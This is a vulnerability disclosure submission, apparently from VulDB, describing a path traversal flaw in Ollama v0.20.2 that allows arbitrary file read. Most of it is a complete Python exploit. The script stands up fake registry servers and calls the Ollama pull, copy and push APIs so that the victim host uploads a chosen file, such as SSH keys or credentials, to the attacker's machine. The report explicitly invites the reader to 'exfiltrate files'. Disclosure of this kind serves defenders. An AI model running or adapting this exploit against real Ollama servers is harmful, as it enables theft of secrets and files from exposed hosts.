إرسال #797576: Ollama v0.20.2 Information Disclosureالمعلومات

عنوانOllama v0.20.2 Information Disclosure
الوصفA Critical path traversal vulnerability exists in Ollama's tensor model transfer package. The digestToPath() function in x/imagegen/transfer/transfer.go does not validate digest strings before using them to construct file paths. An attacker who can reach the Ollama API (unauthenticated, binds x.x.x.x by default) can serve a malicious OCI manifest with a crafted digest field containing directory traversal sequences. During model pull, the exist-check in transfer/download.go uses os.Stat on the traversal path with no hash verification, if the target file exists with a matching size, the blob is accepted without download. The manifest is then written to disk with the traversal digest embedded. When the model is subsequently pushed, os.Open in transfer/upload.go follows the traversal path and uploads the target file's contents to the attacker's server. This allows reading any file accessible to the Ollama process. Confirmed against v0.20.2 (latest stable release). The Ollama API requires no authentication by default. An attacker with network access to the Ollama API can read arbitrary files from the host filesystem, including SSH keys, credentials, and application secrets. I have attached a PoC to help with validation. Just point the PoC at the Ollama instance and exfiltrate files. Tested with a 'secret.txt' in /home/user/ directory to confirm impact. ```python #!/usr/bin/env python3 # Ollama <= 0.20.2 — Arbitrary File Read via Tensor Digest Path Traversal # Usage: python3 poc.py <ollama_host:port> <file_path> <file_size> # Example: python3 poc.py 192.168.1.50:11434 /etc/hostname 8 import hashlib,json,socket,sys,threading,time,urllib.request from http.server import HTTPServer,BaseHTTPRequestHandler host,fpath,fsz=sys.argv[1],sys.argv[2],int(sys.argv[3]) s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.connect(("x.x.x.x",80));ip=s.getsockname()[0];s.close() tgt=f"sha256:../../../../../../../../{fpath.lstrip('/')}" cfg=b'{"architecture":"amd64","os":"linux"}' cd="sha256:"+hashlib.sha256(cfg).hexdigest() out=[] class R(BaseHTTPRequestHandler): def do_GET(s): if"/manifests/"in s.path: m=json.dumps({"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":cd,"size":len(cfg)},"layers":[{"mediaType":"application/vnd.ollama.image.tensor","digest":tgt,"size":fsz}]}).encode() s.send_response(200);s.send_header("Content-Type","application/vnd.docker.distribution.manifest.v2+json");s.send_header("Content-Length",str(len(m)));s.send_header("Docker-Content-Digest","sha256:"+hashlib.sha256(m).hexdigest());s.end_headers();s.wfile.write(m);return if"/blobs/"in s.path:s.send_response(200);s.send_header("Content-Length",str(len(cfg)));s.end_headers();s.wfile.write(cfg);return s.send_response(200);s.send_header("Docker-Distribution-API-Version","registry/2.0");s.end_headers() def do_HEAD(s): if"/blobs/"in s.path:s.send_response(200);s.send_header("Content-Length",str(len(cfg)));s.end_headers();return s.send_response(404);s.end_headers() def log_message(*a):pass class X(BaseHTTPRequestHandler): def do_GET(s):s.send_response(200);s.send_header("Docker-Distribution-API-Version","registry/2.0");s.end_headers() def do_HEAD(s):s.send_response(404);s.end_headers() def do_POST(s): cl=int(s.headers.get("Content-Length",0)) if cl:s.rfile.read(cl) s.send_response(202);s.send_header("Location",f"http://{ip}:10000{s.path.rstrip('/')}/u");s.send_header("Docker-Upload-UUID","u");s.end_headers() def do_PATCH(s): cl=int(s.headers.get("Content-Length",0));d=s.rfile.read(cl)if cl else b"" if d and d.rstrip(b"\x00")!=cfg:out.append(d.rstrip(b"\x00")) s.send_response(202);s.send_header("Location",f"http://{ip}:10000{s.path}");s.send_header("Range",f"0-{max(cl-1,0)}");s.send_header("Docker-Upload-UUID","u");s.end_headers() def do_PUT(s): cl=int(s.headers.get("Content-Length",0));d=s.rfile.read(cl)if cl else b"" if"/manifests/"in s.path:s.send_response(201);s.end_headers();return if d and d.rstrip(b"\x00")!=cfg:out.append(d.rstrip(b"\x00")) s.send_response(201);s.end_headers() def log_message(*a):pass for p,h in[(9999,R),(10000,X)]:threading.Thread(target=HTTPServer(("x.x.x.x",p),h).serve_forever,daemon=True).start() time.sleep(0.5) def q(e,d,t=20): try:r=urllib.request.Request(f"http://{host}{e}",data=json.dumps(d).encode(),headers={"Content-Type":"application/json"});return urllib.request.urlopen(r,timeout=t).read().decode() except Exception as e:return str(e) m1,m2=f"http://{ip}:9999/library/p:latest",f"http://{ip}:10000/library/p:latest" r=q("/api/pull",{"model":m1,"insecure":True,"stream":False}) if"success"not in r.lower():print("[-] Pull failed");sys.exit(1) q("/api/copy",{"source":m1,"destination":m2}) q("/api/push",{"model":m2,"insecure":True,"stream":False},30) q("/api/delete",{"model":m1});q("/api/delete",{"model":m2}) if out:b=max(out,key=len);print(f"[+] {fpath} ({len(b)}b):\n{b.decode(errors='replace')}") else:print("[-] Exfil failed") ```
المستخدم
 davidrochester (UID 94063)
ارسال06/04/2026 01:50 AM (21 أيام منذ)
الاعتدال25/04/2026 01:29 PM (19 days later)
الحالةتمت الموافقة
إدخال VulDB359599 [Ollama حتى 0.20.2 Tensor Model Transfer transfer.go digestToPath digest اجتياز الدليل]
النقاط17

Might our Artificial Intelligence support you?

Check our Alexa App!